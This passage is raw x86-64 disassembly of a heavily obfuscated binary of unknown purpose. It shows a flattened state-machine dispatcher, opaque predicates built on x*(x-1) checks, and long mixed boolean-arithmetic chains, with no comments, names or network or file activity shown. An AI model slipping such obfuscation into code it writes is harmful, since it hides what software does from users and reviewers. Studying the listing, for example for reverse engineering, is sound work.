and ecx, 0xe7b17bcc
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x92307fdf
and edx, 0x6dcf8020
or edx, eax
mov eax, edx
not eax
and eax, 0xf7ee8f63
and edx, 0x811709c
or edx, eax
mov eax, edx
xor eax, 0x10409c
and r9d, 0x8dc31846
and ebx, 0x723ce7b9
or ebx, r9d
mov ecx, ebx
xor ecx, 0x7230c4b8
xor edx, 0xf7ee8f63
xor ebx, 0x8dc31846
mov edi, edx
and edi, 0xccf3b01
and eax, 0xf330c4fe
or eax, edi
or edx, ebx
and ebx, 0xccf3b01
and ecx, 0xf330c4fe
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov ebx, ecx
and al, cl
and cl, r9b
xor bl, r9b
or bl, cl
and dl, r9b
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xbef8aadc
mov ebx, 0x9dd3388d
cmovne ecx, ebx
test dl, dl
mov edx, 0xbef8aadc
jmp 0x14019affd
cmp eax, 0x5f5fbd8d
je 0x140181e87
cmp eax, 0x5fa175fb
jne 0x14016c950
mov eax, 0xc6fba8ba
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x235324f8
je 0x140181f5b
cmp eax, 0x236fff5a
jne 0x14016c950
mov eax, 0xc9c0b24c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7c81caa3
je 0x140182066
cmp eax, 0x7ca51d0d
jne 0x14016c950
mov eax, 0x2293552b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x4623c9ed
je 0x14018218e
cmp eax, 0x46471198
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xb9251197
and edx, 0x46daee68
or edx, ecx
mov edi, edx
xor edi, 0x4002400
xor edx, 0x40090
or ebx, 0x4564e494
mov ecx, ebx
not ecx
or edx, 0x388a1000
and edx, 0x78ced090
and edi, 0x5202404
or edi, edx
and ebx, 0x78ced090
and ecx, 0x82110b6b
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xba9b1b6b
and ecx, 0x4564e494
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0xa60445df
and edi, edx
mov ebx, ecx
and ebx, 0x59fbba20
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x59fbba21
and ebx, 0xa60445de
or ebx, edi
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd94c9948
and ecx, 0x26b366b7
or ecx, edx
mov edi, ecx
xor edi, 0x20816291
mov edx, ebx
not edx
xor ecx, 0xd94c9948
mov esi, edx
and esi, 0x977e9d66
and ebx, 0x68816299
or ebx, esi
or edx, ecx
and ecx, 0x977e9d66
and edi, 0x68816299
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x44069aa2
and ecx, edx
and edx, 0xbbf9655d
or edx, ebx
mov ebx, edx
xor ebx, 0x88c14550
xor edx, 0x44069aa2
mov edi, ecx
not edi
mov esi, edx
and esi, 0x773ca20f
and ebx, 0x88c35df0
or ebx, esi
or edx, edi
and edi, 0x773ca20f
and ecx, 0x88c35df0
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
setne r8b
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r11b
mov eax, r9d
xor al, r11b
mov ebx, eax
and bl, r9b
and al, r11b
mov r10d, ebx
xor r10b, 1
xor bl, al
xor al, 1
or al, r10b
xor al, 1
or al, bl
or r11b, r9b
xor dl, r8b
mov ecx, r11d
xor cl, dl
xor dl, 1
xor cl, 1
or dl, r11b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, ecx
and bl, al
xor al, 1
xor cl, 1
and cl, al
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x72455aa8
mov ebx, 0x706a724d
cmovne eax, ebx
test cl, 1
mov r15d, 0x706a724d
cmove eax, ebx
test dl, 1
mov ecx, 0x72455aa8
jmp 0x1401a14db
cmp eax, 0x1a0e17a
je 0x140182287
cmp eax, 0x21c9600
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xd6702900
and edx, 0x298fd6ff
or edx, ecx
mov edi, edx
xor edi, 0x2903020c
xor edx, 0x40000100
or ebx, 0xe947034d
mov ecx, ebx
not ecx
or edx, 0x14008c82
and edx, 0x54048dc3
and edi, 0xa943020c
or edi, edx
and ebx, 0x54048dc3
and ecx, 0x2b87030
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x78045935
and ecx, 0x87fba6ca
or ecx, edx
mov edx, ecx
xor edx, 0x6ebca587
xor ecx, 0x91435a78
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x2da5e464
and ecx, 0xd25a1b9b
or ecx, edx
mov edx, ecx
xor edx, 0x485e044
xor ecx, 0x10581298
and ecx, 0x397816b8
and edx, 0xc687e947
or edx, ecx
mov ecx, edx
xor ecx, 0x86048802
xor edx, 0x1100290
and edx, 0x419363d5
and ecx, 0xbe6c9c2a
or ecx, edx
xor ecx, 0xbe6c9c2a
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xa2ac13f1
mov ebx, 0x7ab01f57
cmovne eax, ebx
test dl, dl
mov edx, 0xa2ac13f1
jmp 0x14019dc59
cmp eax, 0x664b0d95
je 0x14018239e
cmp eax, 0x66c8b04a
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xf2caf486
and ecx, 0xd350b79
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5c8960af
and ecx, 0xa3769f50
or ecx, eax
mov eax, ecx
xor eax, 0x51bc6bd6
mov edx, ecx
xor edx, 0x51bc6bd7
and edx, eax
xor ecx, 0xa4000400
and ecx, 0xa4100e94
and eax, 0x5beff16b
or eax, ecx
xor eax, 0x5beff16a
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7cf1dbc7
and eax, 0x830e2438
or eax, ecx
mov ecx, eax
xor ecx, 0x2042430
xor eax, 0xc010c7
and eax, 0x81ca10cf
and ecx, 0x7e35ef30
or ecx, eax
xor ecx, 0x7e35ef30
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
xor dl, al
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or al, bl
xor al, 1
not dl
and dl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor cl, 1
xor dl, 1
mov ebx, ecx
or bl, dl
xor dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0xbda58a56
mov eax, 0x196c2388
cmovne ecx, eax
test dl, 1
mov eax, ecx
mov edx, 0xbda58a56
cmovne eax, edx
jmp 0x14018a613
cmp eax, 0x27b74e9d
je 0x1401823b3
cmp eax, 0x27d71d73
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edx, ebx
or edx, 1
mov esi, ecx
not esi
mov eax, edx
and eax, 0x6bba9fd6
mov edi, r9d
and edi, 0x94456028
or edi, eax
or edx, esi
and esi, 0x6bba9fd6
and ecx, 0x94456029
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x40d158d9
and edx, 0xbf2ea726
or edx, eax
xor edx, 0xbf2ea726
and r9d, 0x47732866
and ebx, 0xb88cd799
or ebx, r9d
xor ebx, 0xb88cd799
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
cmp ebx, 0xffffffff
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ebx
and dl, r9b
xor bl, r9b
or bl, dl
mov eax, ebx
xor al, 1
xor cl, r9b
mov r8d, ecx
xor r8b, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
mov eax, edx
xor al, 1
and al, cl
and dl, r8b
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0x6243a973
mov ebx, 0x3c74413a
cmovne eax, ebx
test cl, cl
mov ecx, 0x6243a973
jmp 0x14019f0fb
cmp eax, 0x54dd4423
je 0x14018254c
cmp eax, 0x555bc86b
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov edx, edi
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and eax, ebx
and edx, edi
or edx, eax
xor ebx, edx
test ebx, edx
sete r9b
setne r8b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov ebx, ecx
xor bl, al
and bl, cl
mov r10d, eax
xor r10b, r8b
mov ecx, ebx
not cl
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r8b
or cl, dl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, al
mov eax, 0xaa4dc762
mov edi, 0xb62526c5
cmovne eax, edi
test bl, 1
mov edx, 0xaa4dc762
cmovne eax, edx
test cl, 1
jmp 0x1401a2ccd
cmp eax, 0x17b8b5cd
je 0x140182561
cmp eax, 0x18c3b11b
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x1ec101f6
mov edx, ecx
xor edx, 0x1ec101f6
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x9be9173f
and edx, 0x6416e8c0
or edx, ebx
mov ebx, edx
xor ebx, 0x30858030
xor edx, 0x852816c8
mov edi, edx
and edi, 0x4e726d0f
and ebx, 0xb18d92f0
or ebx, edi
and ecx, 0x4e726d0f
and eax, 0xb18d92f0
or eax, ecx
xor eax, ebx
xor edx, eax
test edx, eax
setne al
sete cl
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
or dl, cl
xor dl, 1
xor cl, bl
or dl, cl
mov r8d, edx
xor r8b, 1
or al, bl
xor al, 1
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x4391b8f6
mov ebx, 0x23af401c
cmovne eax, ebx
test dl, 1
mov edx, 0x4391b8f6
jmp 0x14019dc59
cmp eax, 0x73f58a15
je 0x140182576
cmp eax, 0x74053961
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, esi
mov edi, edx
not edi
mov ebx, esi
and ebx, 0xe288be6d
and ecx, 0x1d774192
or ecx, ebx
or esi, edi
and edi, 0xe288be6d
and edx, 0x1d774192
or edx, edi
xor edx, ecx
not esi
or esi, edx
mov ecx, esi
not ecx
mov edx, esi
or edx, 0xad5f95f1
mov edi, edx
not edi
mov ebx, esi
xor ebx, 0x52a06a0e
and ebx, esi
mov eax, ebx
not eax
mov r9d, edx
and r9d, 0x8255dfb7
and edi, 0x50a02008
or edi, r9d
or edx, eax
and eax, 0x8255dfb7
and ebx, 0x7daa2048
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xa710604a
and edx, 0x58ef9fb5
or edx, eax
xor edx, 0xa4ff5ba
and esi, 0x4b37fcb1
mov eax, ecx
and eax, 0xb4c8034e
or eax, esi
xor eax, 0x4b37fcb0
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa47e2693
and ecx, 0x5b81d96c
or ecx, eax
xor ecx, 0x5b81d96c
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb218d052
mov edx, ecx
and edx, 0x4a12a09
or edx, eax
xor edx, 0x4a12a09
and ecx, 0x494605a4
or ecx, edx
mov eax, ecx
not eax
and eax, 0x792d3e74
and ecx, 0x86d2c18b
or ecx, eax
mov eax, ecx
xor eax, 0x30602940
xor ecx, 0xcf94c42f
mov edx, ecx
and edx, 0x429f56b5
and eax, 0xbd60a94a
or eax, edx
xor eax, 0xbd60a94a
or eax, ecx
cmp eax, 0xffffffff
sete cl
setne dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, dl
mov eax, ebx
xor al, r9b
and al, bl
or dl, r8b
xor dl, 1
or cl, r9b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
xor cl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x266af653
mov ebx, 0x4ff0fcdf
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
test dl, 1
mov eax, 0x266af653
jmp 0x1401a26bd
cmp eax, 0x3c74413a
je 0x14018263c
cmp eax, 0x3cc4e047
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x6b66b5ba
mov ecx, edi
and ecx, 0x94994a44
or ecx, edx
xor ecx, 0x94994a44
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
and ebx, 0x38af38af
and edi, 0xc750c750
or edi, ebx
mov ecx, edi
xor ecx, 0x82400400
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x6d11e35a
and edx, 0x92ee1ca5
or edx, ebx
xor edi, 0x2801200a
and edi, 0x6d11e35a
and ecx, 0x92ee1ca5
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, r9b
not al
and al, r9b
mov edx, ebx
or dl, r9b
xor al, 1
mov r10d, eax
xor r10b, dl
or al, dl
xor al, 1
or al, r10b
and r8b, cl
and bl, r9b
or bl, r8b
mov edx, ecx
xor dl, r9b
or cl, r9b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x96c9c7e
mov ebx, 0x5cfef3c3
cmovne edx, ebx
test cl, 1
mov ecx, 0x96c9c7e
jmp 0x140195e0e
cmp eax, 0x5018658b
je 0x140182651
cmp eax, 0x50266623
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xd742beec
and edx, ecx
and ecx, 0x28bd4113
or ecx, ebx
mov ebx, ecx
xor ebx, 0x90110
xor ecx, 0xd742beec
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2ab4f6c7
and ebx, 0xd54b0938
or ebx, esi
or ecx, edi
and edi, 0x2ab4f6c7
and edx, 0xd54b0938
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xb46fa360
and ecx, 0x4b905c9f
or ecx, ebx
xor ecx, 0x4b905c9e
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1c3ae6ae
and ecx, 0xe3c51951
or ecx, edx
mov edx, ecx
xor edx, 0xc2c41901
xor ecx, 0x86684
and ecx, 0x210966d4
and edx, 0xdef6992b
or edx, ecx
xor edx, 0xdef6992b
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
or bl, r8b
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xf17bb3a2
mov ebx, 0xc1017eb7
cmovne eax, ebx
test cl, 1
jmp 0x14018c623
cmp eax, 0xab988a6
je 0x140182666
cmp eax, 0xb4ab37d
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
and ecx, 0xb4ce986d
and ebx, 0x4b316792
or ebx, ecx
mov ecx, ebx
xor ecx, 0x9016482
mov esi, edx
not esi
mov edi, esi
and edi, 0x52f80b31
and edx, 0xad07f4ce
or edx, edi
xor ebx, 0x10c80821
and ebx, 0x52f80b31
and ecx, 0xad07f4ce
or ecx, ebx
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
mov ecx, edx
xor cl, al
and cl, dl
and bl, r8b
and al, r9b
or al, bl
mov edx, ecx
not dl
mov ebx, eax
not bl
and bl, cl
and dl, al
or dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x1a9f25ad
mov ebx, 0xe63c86e7
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x1a9f25ad
jmp 0x1401a14db
cmp eax, 0x6cc08cda
je 0x140182739
cmp eax, 0x6cda7872
jne 0x14016c950
mov eax, 0x47c33fcd
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x31f15b11
je 0x14018280d
cmp eax, 0x324ed19b
jne 0x14016c950
mov eax, 0x692ebafa
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x5dcc139b
je 0x140182907
cmp eax, 0x5de95d3a
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov edx, edi
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and eax, ebx
and edx, edi
or edx, eax
xor ebx, edx
test ebx, edx
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
not r9b
and dl, al
and bl, r8b
or bl, dl
mov eax, ebx
xor al, 1
and bl, cl
or cl, al
and al, r9b
or al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x55cd49bf
mov ebx, 0x79e5ee86
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x55cd49bf
jmp 0x140181a5f
cmp eax, 0x2026e403
je 0x1401829e2
cmp eax, 0x20336707
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x44e6664
mov ecx, edx
and ecx, 0x2a11080b
or ecx, eax
xor ecx, 0x2a11080b
and edx, 0xd1a09190
or edx, ecx
mov eax, edx
not eax
and eax, 0xe0ed4dd1
and edx, 0x1f12b22e
or edx, eax
mov ebx, edx
xor ebx, 0x314ddc41
mov eax, edx
xor eax, 0xceb223be
xor edx, 0xdd54e21
and edx, eax
mov ecx, ebx
and ecx, 0xc3676d9f
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xc3676d9e
and ecx, 0x3c989261
or ecx, edx
and ebx, 0x94ea9a39
mov edx, eax
and edx, 0x6b1565c6
or edx, ebx
xor edx, 0x94ea9a38
and eax, 1
or eax, edx
mov edx, eax
not edx
and edx, 0xe5a98565
and eax, 0x1a567a9a
or eax, edx
xor eax, 0x1a567a9a
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
or eax, 0xde51369e
mov ebx, eax
not ebx
or edx, 0x21aec961
mov ecx, edx
not ecx
and eax, 0x422588de
and ebx, 0x218a4121
or ebx, eax
and edx, 0x422588de
and ecx, 0x9c503600
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xc5d186b3
and ecx, 0x3a2e794c
or ecx, eax
mov eax, ecx
xor eax, 0x980a005
xor ecx, 0xe47f4fd2
mov edx, ecx
and edx, 0x520555fa
and eax, 0xadfaaa05
or eax, edx
xor eax, 0xadfaaa05
or eax, ecx
cmp eax, 0xffffffff
setne al
sete bl
cmp dword [0x1402656c4], 9
setg r8b
mov edx, ebx
or dl, r8b
xor bl, r8b
mov ecx, ebx
not cl
and cl, r8b
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
and bl, r8b
xor al, r8b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x441e0c54
mov ebx, 0xce4d923a
cmovne ecx, ebx
test al, 1
mov eax, 0x441e0c54
jmp 0x14018b3fd
cmp eax, 0x7b23852e
je 0x1401829f7
cmp eax, 0x7b773082
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xd5d8659f
and ecx, ebx
not ebx
and ebx, 0x11884586
and edx, 0xc4502019
or edx, ebx
xor edx, 0xc4502019
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd434f5f3
and ecx, 0x2bcb0a0c
or ecx, edx
mov edx, ecx
xor edx, 0xfe136f93
mov ebx, ecx
xor ebx, 0x3801dd14
and ebx, edx
or edx, 0x39ed4d78
mov edi, edx
not edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0xe261902f
and edi, 0x4122280
or edi, eax
or edx, esi
and esi, 0xe261902f
and ebx, 0x1d9e6fd0
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x39ed4d79
and edx, 0xc612b286
or edx, eax
mov eax, ecx
and eax, 1
xor ecx, 0x1ec906d
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7f7cc3a3
and ecx, 0x80833c5c
or ecx, eax
mov eax, ecx
xor eax, 0x2344c
xor ecx, 0x10288082
and ecx, 0x90a98892
and eax, 0x6f56776d
or eax, ecx
xor eax, 0x90a98892
cmp eax, 0xffffffff
setne cl
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl al
mov ebx, eax
and cl, al
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
xor bl, 1
and dl, r9b
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x70ff40f
mov ebx, 0x31aeddaf
cmovne eax, ebx
test cl, 1
mov ecx, 0x70ff40f
jmp 0x14019c0ca
cmp eax, 0x44c9fd8f
je 0x140182b3d
cmp eax, 0x44e635c2
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
xor edx, 0xe7370d61
mov esi, edx
and esi, ecx
and edx, r9d
mov edi, esi
not edi
mov eax, edx
not eax
mov ebx, edi
and ebx, 0x1c3505b9
and esi, 0xe3cafa46
or esi, ebx
or edi, eax
and eax, 0x1c3505b9
and edx, 0xe3cafa46
or edx, eax
xor edx, esi
not edi
or edi, edx
mov eax, edi
not eax
and eax, 0xe7370d60
and edi, 0x18c8f29f
or edi, eax
and r9d, 0xfb4cf221
mov eax, ecx
and eax, 0x4b30dde
or eax, r9d
xor eax, 0xfb4cf220
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x908c7b0d
and edi, 0x6f7384f2
or edi, ebx
or edx, ecx
and ecx, 0x908c7b0d
and eax, 0x6f7384f2
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x7971f7f2
and edx, 0x868e080d
or edx, eax
mov eax, edx
xor eax, 0x808a000d
xor edx, 0x282126f0
and edx, 0x2e252ef0
and eax, 0xd1dad10f
or eax, edx
mov ecx, eax
xor ecx, 0x80124a0
xor eax, 0x818ac10b
and eax, 0xa7aecb5b
and ecx, 0x585134a4
or ecx, eax
mov eax, ecx
xor eax, 0x10000
xor ecx, 0x18eca08
and ecx, 0x59defeac
and eax, 0xa6210153
or eax, ecx
xor eax, 0x59defeac
cmp eax, 0xffffffff
setne al
sete cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
mov ebx, edx
xor bl, cl
xor dl, bl
and dl, bl
or al, r9b
xor al, 1
xor cl, r9b
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xaae123c7
mov ebx, 0x2f7f2f2
cmovne edx, ebx
test cl, 1
mov ecx, 0xaae123c7
jmp 0x14019a3d7
cmp eax, 0x4ebd063
je 0x140182d4e
cmp eax, 0x5297d65
jne 0x14016c950
mov eax, 0xa4597076
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x694924c8
je 0x140182d63
cmp eax, 0x69659d72
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2afe2982
and edx, 0xd501d67d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc4a97ecf
and edx, 0x3b568130
or edx, ecx
mov ecx, edx
xor ecx, 0x10000800
xor edx, 0xee57574d
mov ebx, edx
or ebx, 1
mov edi, ebx
not edi
and edx, 0x49ada6f7
and ecx, 0xb6525908
or ecx, edx
mov edx, ecx
xor edx, 0x14120100
xor ecx, 0x49ada6f6
mov esi, ebx
and esi, 0xaa655eab
and edi, 0x559aa154
or edi, esi
or ebx, ecx
and ecx, 0xaa655eab
and edx, 0x559aa154
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov ecx, ebx
mov edx, ebx
xor edx, 0x3b5d376d
and edx, ebx
not ebx
and ebx, 0xbf122c12
and ecx, 0x40edd3ed
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4036c
xor ecx, 0x3b102400
or ecx, 0xc4a2c892
mov edi, edx
not edi
mov esi, ecx
and esi, 0xbd4b9093
and ebx, 0x214276c
or ebx, esi
or ecx, edi
and edi, 0xbd4b9093
and edx, 0x42b46f6c
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc4a2c892
and ecx, 0x3b5d376d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2502acc4
